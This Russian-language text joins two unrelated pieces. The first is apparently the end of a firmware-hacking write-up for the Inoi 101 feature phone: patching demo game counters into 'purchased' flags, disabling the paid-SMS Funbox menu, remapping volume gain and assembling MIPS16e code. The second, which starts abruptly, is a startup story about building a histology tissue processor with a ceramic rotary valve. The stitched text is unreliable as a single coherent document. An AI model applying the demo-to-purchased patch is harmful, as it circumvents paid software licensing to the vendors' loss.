Самый простой способ зарегистрировать игры навсегда пропатчить код инициализации, заменив переменные количества демо-запусков на переменные купленности игры. Так как эта функция находится в несжатой области кода, проблем с её модификацией не возникнет.

Найти функции можно по отладочным строкам, содержащим характерное имя файла:

Отключаем Funbox

Меню платных СМС-подписок ожидаемая, но неуместная функция послепродажного заработка денег производителем. Одно неловкое нажатие и минимум 5 рублей со счёта в сутки вам обеспечено. Подобные вещи позволяют держать цены на кнопочные телефоны на очень низком уровне, но в моём устройстве им не место.

Как и в случае с играми, в функциях Funbox присутствует отладочный вывод номеров строк с именем файла "src/gmb_smart_sms_win.c". С этих строк можно дошагать до функции-обработчика выделения элемента главного меню (в CoolMMI они называются hilite, очевидно имеется в виду highlight), в котором и находится иконка.
Методом проб и ошибок удалось обнаружить обработчик входа в интерфейс подписок, который был благополучно за'nop'лен нажатие на иконку Funbox центральной кнопкой или левой софт-клавишей более ни к чему не приводят.

Функция расположена в несжатой области и легко поддаётся изменению.

Исправляем громкость

Компонент аудиоусилителя телефона имеет 15 ступеней усиления, но для мультимедии прошивка телефона предусматривает всего 7 уровней громкости, с большими шагами между ними. Это неудобно: на единице телефон еле слышно, а на двойке он сразу ОРЁТ.

Попробуем исправить эту проблему. В заголовочных файлах быстро находится регистр CONFIG_REGS по базовому адресу 0x01A24000, структура которого описывается следующим образом:

#define REG_CONFIG_REGS_BASE  0x01A24000#define hwp_configRegs        ((HWP_CFG_REGS_T*) KSEG1(REG_CONFIG_REGS_BASE))typedef volatile struct{  REG32    CHIP_ID;          //0x00000000  /// This register contain the synthesis date and version  REG32    Build_Version;    //0x00000004  /// Setting bit n to '1' selects GPIO Usage for PAD connected to GPIOn. Setting  /// bit n to '0' selects Alt.  REG32    GPIO_Mode;        //0x00000008  REG32    Alt_mux_select;   //0x0000000C  REG32    IO_Drive1_Select; //0x00000010  REG32    IO_Drive2_Select; //0x00000014  REG32    audio_pd_set;     //0x00000018  REG32    audio_pd_clr;     //0x0000001C  REG32    audio_sel_cfg;    //0x00000020  REG32    audio_mic_cfg;    //0x00000024  REG32    audio_spk_cfg;    //0x00000028  REG32    audio_rcv_gain;   //0x0000002C  REG32    audio_head_gain;  //0x00000030} HWP_CFG_REGS_T;//audio_spk_cfg#define CFG_REGS_AU_SPK_GAIN(n)     (((n)&15)<<0)#define CFG_REGS_AU_SPK_MUTE_N      (1<<4)

Использование регистра происходит через сегмент KSEG1, в обход MMU и кешей. Полный адрес audio_spk_cfg, обращения к которому нужно искать в дисассемблере 0xA1A24028.

После непродолжительного поиска обнаруживается функция, преобразующая уровень усиления (по всей видимости, в децибелах) в значение SPK_GAIN:

int __fastcall volume_maps(int a1) // 0x88038184{  int result; // $v0  result = 0;  if ( a1 >= 5 )  {    result = 2;    if ( a1 >= 14 )    {      result = 4;      if ( a1 >= 18 )      {        result = 6;        if ( a1 >= 20 )        {          result = 8;          if ( a1 >= 22 )          {            result = 10;            if ( a1 != 22 )            {              result = 12;              if ( a1 != 23 )                return 14;            }          }        }      }    }  }  return result;}

Изменив уровни с [0, 2, 4, 6, 8, 10, 12, 14] на [0, 1, 2, 3, 5, 6, 8, 10], мы получили более плавную регулировку ценой уменьшения максимальной громкости, которая всё равно только приводила к перегрузу маломощного динамика телефона.

Если при воспроизведения MP3-файлов положительный эффект очевиден, то громкость FM-радио всё ещё регулируется с недостаточной гранулярностью. Вероятно, это аппаратная проблема подключения FM-чипа.

Неожиданные трудности

Для MIPS существует два стандарта 16-битных инструкций: MIPS16e и microMIPS. Первый является дополнением (extension) к архитектуре MIPS32: код может использовать одновременно оба набора инструкций, процессор может переключаться между режимом выполнения MIPS32 и MIPS16e в любое время, прыжком на нечётный адрес инструкции. Не все инструкции и возможности MIPS можно выразить командами MIPS16e иногда переключение в режим MIPS32 просто необходимо.
microMIPS же полноценная архитектура с полным набором 16-битных команд. Вот что говорит официальная брошюра:

The benchmarks prove that the microMIPS architecture delivers similar memory savings as the MIPS16e ASE, but with much better performance. The question is how? The list of reasons includes new optimized 16- and 32-bit instructions, an optimized recoding of MIPS32 instructions, and optimized op code format and register utilization.

The earlier stated fact that microMIPS is a complete architecture not an extension is also key. Both MIPS16e, and for that matter the similarly-targeted ARM Thumb technologies, are extensions. Both microMIPS and these extensions rely on the concept of new 16-bit versions of regularly used instructions to minimize code size. And all deliver reductions in code size. But only microMIPS delivers 32-bit performance.

The microMIPS mode can handle all operations such as exception handling, and offers a superset of the MIPS32 ISA. With MIPS16e, the programmer had to swap modes to use ASEs such as MIPS DSP. The microMIPS mode can seamlessly access the ASEs. The need to run legacy binary code is really the only reason that would prompt a programmer to use the MIPS32 mode.

Проблема в том, что привычные утилиты инлайн-ассемблирования кода для патча программы, такие как rasm2 из состава Radare2 и kstool из KeyStone, не поддерживают режим MIPS16e. Они либо ассемблируют 32-битные команды, несмотря на то, что выбран 16-битный режим, либо выводят опкоды, явно не соответствующие MIPS16e.

К счастью, ассемблер gcc поддерживает режим MIPS16e, а работать с ним почти так же удобно, как с rasm2/kstool. Есть, разве что, одна особенность: он выравнивает блок nop'ами.

$ echo 'jr $ra' | mips64-linux-gnu-as -o /dev/null -al -mips16 -32GAS LISTING                     page 1   1 0000 E8206500      jr $ra   1      65006500    1      65006500    1      65006500

Вывод

Надеюсь, эта небольшая заметка поможет исследователям прошивок кнопочных телефонов на платформе RDA и подогреет желание к погружению в звонилки на платформах других производителей. Доступные в любом магазине, эти дешевые но полнофункциональные двухсимочные телефоны с доступом в интернет так и просятся в руки хакеров, чтобы их адаптировали не только под базовые потребности связи.
Как оказалось, нет ничего сложного в минимальном изменении функциональности подобных устройств. Автор не столкнулся с неразрешимыми проблемами, проделанный путь в целом совпадает с анализом прошивкок любого другого устройства, а доступные исходники, хоть и устаревшие, позволяют разобраться в архитектуре и, при желании, интегрировать новые функции, не обладая кодом самой прошивки.

Готовую модифицированную прошивку для Inoi 101 можно скачать на GSMForum.ru: https://gsmforum.ru/threads/inoi-101-modificirovannaja-proshivka.337775/

Вы узнаете:

• зачем вообще нам это понадобилось

• можно ли работать с отечественными производителями без страха и упрека

• почему не стоит экономить на деталях для изделий (спойлер: если у вас железные нервы, то можно)

• как не скатиться в отчаянье, а научиться управлять рисками.

Разработчик это звучит гордо

Как думают многие: придумываешь идею, разрабатываешь продукт, зарабатываешь миллионы. Как на самом деле: чтобы собрать робота, нужно думать как человек. Мыслить как человек с хорошо отлаженными процессами в голове, осознающий риски, считающий время, деньги и нервы как свои, так и команды, ну и конечно, заказчика.

Для чего нужен гистологический процессор

В доковидные времена, а именно в начале 2018-го, наша команда запустила инжиниринговый стартап Nextelligence и стартовала в проекте по созданию вакуумного процессора для гистологических лабораторий.

Если коротко, то это прибор, в который помещают специальные перфорированные пластиковые кассеты с материалами человеческого происхождения (живого или уже не очень), чтобы впоследствии морфолог (гистолог/патологоанатом) мог посмотреть под микроскопом микропрепарат и сделать гистологическое заключение.

Первый и самый затратный по времени из 5 этапов гистологической пробоподготовки осуществить замещение присутствующей в материале воды на парафиновую смесь. Процесс замещения воды парафином называется гистологической проводкой или просто проводкой. Этот процесс и нужно было автоматизировать, то есть создать прибор, который в автоматическом режиме последовательно заливает исследуемый материал разными реагентами. При этом важно было свести риск утраты исследуемого материала к минимуму по статистике в лабораториях теряется практически каждая пятая проба.

Проработка концепта

Концепт прибора казался весьма простым, типа реагент насос ткань, пока дело не дошло до проектирования системы распределения реагентов внутри прибора. Дело в том, что помимо своей агрессивности (например, ксилол запросто растворяет или необратимо портит большинство известных пластиков и эластомеров) реактивы имеют свойство образовывать солевые отложения, преципитаты, на внутренних частях прибора, что, в свою очередь, быстро выводит его из строя.

Естественно, заказчик хотел сделать изделие надёжным, так что мы сразу отмели вариант использования острова с соленоидными клапанами, выполняющего роль распределителя реактивов, просвет которых быстро забивается. Использование шаровых клапанов было также нежелательно из-за их громоздкости и неповоротливости, поэтому было решено пойти по своему особому пути и спроектировать компактный многопозиционный ротационный клапан.

Примерно концепт ротационного клапана можно описать следующим образом: в центре клапана лежат 2 специальных диска, один из которых, стационарный, имеет отверстия по периметру и в центре (рис. 1), а второй, ротационный канавку от центра к краю (рис. 2).

Сложности, отчаянье и надежда из Дюссельдорфа

При проработке концепта мы рассматривали несколько вариантов материала для этих дисков. Самые простые в исполнении, пластик и металл, имели свои недостатки. Пластик, даже фторопласт, царапался при попадании между дисками кристаллов соли из забуференного формалина и со временем сборка теряла герметичность. Металл имел ту же проблему, что и пластик, а также значительнее последнего расширялся при прогреве, да еще 2 прецизионно отполированных металлических диска, прижимаемых друг к другу пружиной, быстро прикипали друг к другу, даже при наличии между ними смазки.

Когда руки уже почти опустились, а проблема начала казаться нерешаемой, мне довелось съездить на выставку Medica/Compamed в Дюссельдорфе и подсмотреть у одного всемирно известного производителя инженерных решений для медицины и промышленности идею керамического ротационного клапана. К сожалению, у самого производителя не было в ассортименте таких клапанов с нужными нам характеристиками, поэтому от идеи разработать свой клапан я не отказался.

Горе-керамисты, убитое время и почти хэппи энд

На удивление легко оказалось найти в России производителя технической керамики, который взялся изготовить диски клапана по нашему заданию из оксида алюминия (искусственный корунд) методом шликерного литья. На выходе должно было получиться изделие твердостью 9 из 10 возможных по шкале Мооса, что значительно тверже практически любого солевого кристалла, имеющее низкий коэффициент температурного расширения, высокую химическую стойкость и минимальный риск прикипания двух компонентов друг к другу.

Заявленная стоимость и сроки производства необходимых нам изделий внушали осторожный оптимизм. Опыт взаимодействия с российскими производителями призывал не радоваться раньше времени и не зря.

Спустя заявленные в договоре на изготовление 3 месяца, началась борьба бобра с ослом. Производитель начал кормить нас завтраками, ссылаться на форс-мажоры, запой главного технолога, поломку фрезы для выточки пресс-формы и т.д. В таком режиме мы прожили еще около месяца и, наконец, мне на почту пришло долгожданное письмо: Изделия готовы, можете забирать. Моя радость была яркой, но длилась лишь до тех пор, пока транспортная компания не привезла мне груз. Диски оказались круглыми с выдержанными внешними размерами, но на этом их достоинства заканчивались. Практически все обнизки под посадку О-колец были в разной степени кривыми, в некоторых расхождение с чертежом было далеко за гранью приличия, про выдерживание допусков речи не шло вообще. Создалось впечатление, что на предоставленные нами чертежи подрядчик смотрел только в начале работы, да и то, издалека.

После недолгого, но очень содержательного диалога с керамистами они удалились читать чертежи и переделывать. Еще на месяц

Не вдаваясь в подробности, надо признать, что второй подход к снаряду нашему подрядчику удался гораздо лучше. За некоторым исключением изделия стали больше походить на то, что мы задумывали. Наступила долгожданная пора утомительных испытаний.

Заключительный этап челленджа испытания

Мы собрали стенд с этим клапаном, разлили по ведрам химию, подключили нагревательные элементы и чиллер для аквариумов с креветками (!), чтобы более-менее воссоздать условия, при которых клапану пришлось бы трудиться в реальности и настроились на месяцы бесперебойной работы стенда, но Думаю, вы уже догадались, что оптимизм был недолгим.

Беда пришла откуда не ждали. В изобилии доступные на российском рынке О-кольца из NBR и FKM/FPM/Viton, уплотняющие стационарный диск ротационного клапана, приказали долго жить. Первые после недели работы, вторые после трёх. Оказалось, что ксилол, перепады температур и механическая нагрузка делают даже из хваленого Viton труху за каких-то несколько недель.

Выход нашли достаточно быстро. Оказалось, что во всем цивилизованном мире уже давно для таких сложных задач используют уплотнительные кольца из перфторкаучука (другие названия FFKM, Kalrez), которые незначительно дороже упомянутых выше, но отменно работают в самых жестких условиях как-раз то, что нам нужно.

Оставлю для хоррор-публицистики проблемы с китайскими мотор-редукторами и уральскими патронными ТЭНами, которые у нас всплыли по дороге. Скажу лишь, что работая над данным проектом пообещал сам себе более не экономить на критически важных компонентах даже, если очень хочется.

Резюме

В качестве резюме этой хардкор-разработки выделяю несколько тезисов-рекомендаций:

1. Не экономьте на компонентах. Чем в более сложных условиях должно работать ваше изделие, тем меньше должно быть ваше желание порезать косты. Дёшево = плохо, чудес не бывает.

2. Работать с отечественными производителями сложно, но можно. Надо только придирчиво подходить к выбору подрядчика и стараться контролировать его на разных стадиях выполнения вашего заказа, а также заставлять почаще читать ваши чертежи.

3. Если вы решились на п. 2, пропишите в контракте побольше штрафов, так у подрядчика будет больше стимулов сдать вам то, что вы хотите когда вы хотите.

4. В общем, управляйте рисками. ISO 14971 вам в помощь.